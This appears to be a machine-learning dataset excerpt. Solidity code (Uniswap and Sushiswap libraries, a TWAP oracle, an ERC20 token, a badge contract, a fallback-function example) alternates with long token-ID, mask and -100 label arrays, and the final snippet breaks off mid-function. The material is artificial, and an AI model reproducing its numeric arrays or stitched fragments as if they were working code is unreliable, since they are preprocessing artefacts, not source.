returns (Observation storage firstObservation)
{
uint8 observationIndex = observationIndexOf(block.timestamp);
// No overflow issues; if observationIndex + 1 overflows, result is still zero.
uint8 firstObservationIndex = (observationIndex + 1) % granularity;
firstObservation = pairObservations[pair][firstObservationIndex];
}
/* ========== MUTATIVE FUNCTIONS ========== */
/// @inheritdoc ITwap
function update(address tokenA, address tokenB)
external
override(ITwap)
returns (bool)
{
address pair = SushiswapLibrary.pairFor(factory, tokenA, tokenB);
// Populate the array with empty observations for the first call.
for (uint256 i = pairObservations[pair].length; i < granularity; i++) {
pairObservations[pair].push();
}
// Get the observation for the current period.
uint8 observationIndex = observationIndexOf(block.timestamp);
Observation storage observation = pairObservations[pair][observationIndex];
// We only want to commit updates once per period (i.e. windowSize / granularity).
uint256 timeElapsed = block.timestamp - observation.timestamp;
if (timeElapsed <= periodSize) {
// Skip update as we're in the same observation slot.
return false;
}
(uint256 price0Cumulative, uint256 price1Cumulative, ) =
UniswapV2OracleLibrary.currentCumulativePrices(pair);
observation.timestamp = block.timestamp;
observation.price0Cumulative = price0Cumulative;
observation.price1Cumulative = price1Cumulative;
emit NewObservation(
observation.timestamp,
observation.price0Cumulative,
observation.price1Cumulative
);
return true;
}
}
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
pragma solidity >=0.4.0;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
library UniswapV2Library {
using SafeMath for uint256;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB)
internal
pure
returns (address token0, address token1)
{
require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES");
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS");
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(
address factory,
address tokenA,
address tokenB
) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(
uint256(
keccak256(
abi.encodePacked(
hex"ff",
factory,
keccak256(abi.encodePacked(token0, token1)),
hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" // init code hash
)
)
)
);
}
// fetches and sorts the reserves for a pair
function getReserves(
address factory,
address tokenA,
address tokenB
) internal view returns (uint256 reserveA, uint256 reserveB) {
(address token0, ) = sortTokens(tokenA, tokenB);
(uint256 reserve0, uint256 reserve1, ) =
IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0
? (reserve0, reserve1)
: (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) internal pure returns (uint256 amountB) {
require(amountA > 0, "UniswapV2Library: INSUFFICIENT_AMOUNT");
require(
reserveA > 0 && reserveB > 0,
"UniswapV2Library: INSUFFICIENT_LIQUIDITY"
);
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256 amountOut) {
require(amountIn > 0, "UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT");
require(
reserveIn > 0 && reserveOut > 0,
"UniswapV2Library: INSUFFICIENT_LIQUIDITY"
);
uint256 amountInWithFee = amountIn.mul(997);
uint256 numerator = amountInWithFee.mul(reserveOut);
uint256 denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256 amountIn) {
require(amountOut > 0, "UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT");
require(
reserveIn > 0 && reserveOut > 0,
"UniswapV2Library: INSUFFICIENT_LIQUIDITY"
);
uint256 numerator = reserveIn.mul(amountOut).mul(1000);
uint256 denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(
address factory,
uint256 amountIn,
address[] memory path
) internal view returns (uint256[] memory amounts) {
require(path.length >= 2, "UniswapV2Library: INVALID_PATH");
amounts = new uint256[](path.length);
amounts[0] = amountIn;
for (uint256 i; i < path.length - 1; i++) {
(uint256 reserveIn, uint256 reserveOut) =
getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(
address factory,
uint256 amountOut,
address[] memory path
) internal view returns (uint256[] memory amounts) {
require(path.length >= 2, "UniswapV2Library: INVALID_PATH");
amounts = new uint256[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint256 i = path.length - 1; i > 0; i--) {
(uint256 reserveIn, uint256 reserveOut) =
getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/lib/contracts/libraries/FixedPoint.sol";
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2**32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair)
internal
view
returns (
uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp
)
{
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) =
IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative +=
uint256(FixedPoint.fraction(reserve1, reserve0)._x) *
timeElapsed;
// counterfactual
price1Cumulative +=
uint256(FixedPoint.fraction(reserve0, reserve1)._x) *
timeElapsed;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../external-lib/UniswapV2Library.sol";
library SushiswapLibrary {
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(
address factory,
address tokenA,
address tokenB
) internal pure returns (address pair) {
(address token0, address token1) =
UniswapV2Library.sortTokens(tokenA, tokenB);
pair = address(
uint256(
keccak256(
abi.encodePacked(
hex"ff",
factory,
keccak256(abi.encodePacked(token0, token1)),
hex"e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303" // init code hash
)
)
)
);
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.7.6;
pragma abicoder v2;
import "../MonetaryPolicyV1.sol";
contract MonetaryPolicyV1Harness is MonetaryPolicyV1 {
uint256 public blockNumber;
constructor(address _governance, address _ethUsdOracle)
MonetaryPolicyV1(_governance, _ethUsdOracle)
{}
function _blockNumber() internal view override returns (uint256) {
return blockNumber;
}
function __setBlock(uint256 _number) external {
blockNumber = _number;
}
}
| ========== MUTATIVE FUNCTIONS ========== */ | function stake(uint256) public pure override(Phase2Pool, IStakingRewards) {
revert(
"Phase1Pool::stake: Cannot stake on Phase1Pool directly due to whitelist"
);
}
| 12,841,632 | [
1,
1432,
631,
490,
1693,
12992,
13690,
55,
422,
1432,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
384,
911,
12,
11890,
5034,
13,
1071,
16618,
3849,
12,
11406,
22,
2864,
16,
467,
510,
6159,
17631,
14727,
13,
288,
203,
565,
15226,
12,
203,
1377,
315,
11406,
21,
2864,
2866,
334,
911,
30,
14143,
384,
911,
603,
19459,
21,
2864,
5122,
6541,
358,
10734,
6,
203,
565,
11272,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/42220/0xb2bFEd6dfd98fe8B3F1dDA71f1C42698Bf5dA326/sources/contracts/Badges.sol | * @dev Creates a new badge type and assigns _initialSupply to an address @param name Name for the badge type @return The newly created token ID/ | function createBadge(string calldata name)
external
onlyRole(DEFAULT_ADMIN_ROLE)
returns (uint256)
{
uint256 _id = _badgeIds.current();
_badgeIds.increment();
_badgeNames[_id] = name;
emit BadgeCreated(name, _id);
grantRole(badgeRole(_id), msg.sender);
return _id;
}
| 3,496,894 | [
1,
2729,
279,
394,
15654,
618,
471,
22698,
389,
6769,
3088,
1283,
358,
392,
1758,
225,
508,
1770,
364,
326,
15654,
618,
327,
1021,
10894,
2522,
1147,
1599,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
752,
6434,
908,
12,
1080,
745,
892,
508,
13,
203,
3639,
3903,
203,
3639,
1338,
2996,
12,
5280,
67,
15468,
67,
16256,
13,
203,
3639,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
2254,
5034,
389,
350,
273,
389,
21245,
2673,
18,
2972,
5621,
203,
3639,
389,
21245,
2673,
18,
15016,
5621,
203,
203,
3639,
389,
21245,
1557,
63,
67,
350,
65,
273,
508,
31,
203,
3639,
3626,
6107,
908,
6119,
12,
529,
16,
389,
350,
1769,
203,
203,
3639,
7936,
2996,
12,
21245,
2996,
24899,
350,
3631,
1234,
18,
15330,
1769,
203,
3639,
327,
389,
350,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18;
/**
* zeppelin-solidity 1.4.0
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title SimpleToken
* @dev all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `StandardToken` functions.
*/
contract XEVENUE is Ownable, StandardToken {
uint8 public constant decimals = 18;
string public constant name = "XEV";
string public constant symbol = "XEV";
uint256 public constant initialSupply = 1000000000 * 10 ** uint256(decimals);
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function XEVENUE() public {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply;
}
} | * @title SimpleToken @dev all tokens are pre-assigned to the creator. Note they can later distribute these tokens as they wish using `transfer` and other `StandardToken` functions./ | contract XEVENUE is Ownable, StandardToken {
uint8 public constant decimals = 18;
string public constant name = "XEV";
string public constant symbol = "XEV";
uint256 public constant initialSupply = 1000000000 * 10 ** uint256(decimals);
function XEVENUE() public {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply;
}
} | 1,324,334 | [
1,
5784,
1345,
225,
777,
2430,
854,
675,
17,
15938,
358,
326,
11784,
18,
3609,
2898,
848,
5137,
25722,
4259,
2430,
487,
2898,
14302,
1450,
1375,
13866,
68,
471,
1308,
1375,
8336,
1345,
68,
4186,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
1139,
24427,
1157,
1821,
353,
14223,
6914,
16,
8263,
1345,
288,
203,
203,
225,
2254,
28,
1071,
5381,
15105,
273,
6549,
31,
203,
225,
533,
1071,
5381,
508,
273,
315,
60,
24427,
14432,
203,
225,
533,
1071,
5381,
3273,
273,
315,
60,
24427,
14432,
203,
225,
2254,
5034,
1071,
5381,
2172,
3088,
1283,
273,
15088,
3784,
380,
1728,
2826,
2254,
5034,
12,
31734,
1769,
203,
203,
225,
445,
1139,
24427,
1157,
1821,
1435,
1071,
288,
203,
565,
2078,
3088,
1283,
273,
2172,
3088,
1283,
31,
203,
565,
324,
26488,
63,
3576,
18,
15330,
65,
273,
2172,
3088,
1283,
31,
203,
225,
289,
203,
203,
97,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >0.4.99 <0.6.0;
contract Test {
// This function is called for all messages sent to
// this contract (there is no other function).
// Sending Ether to this contract will cause an exception,
// because the fallback function does not have the `payable`
// modifier.
function() external {
x = 1;
}
uint x;
}
// This contract keeps all Ether sent to it with no way
// to get it back.
contract Sink {
function() external payable {
}
}
contract Caller {
function callTest(Test test) public returns (bool) {
(bool success,) = address(test).call(abi.encodeWithSignature("nonExistingFunction()"));
require(success);
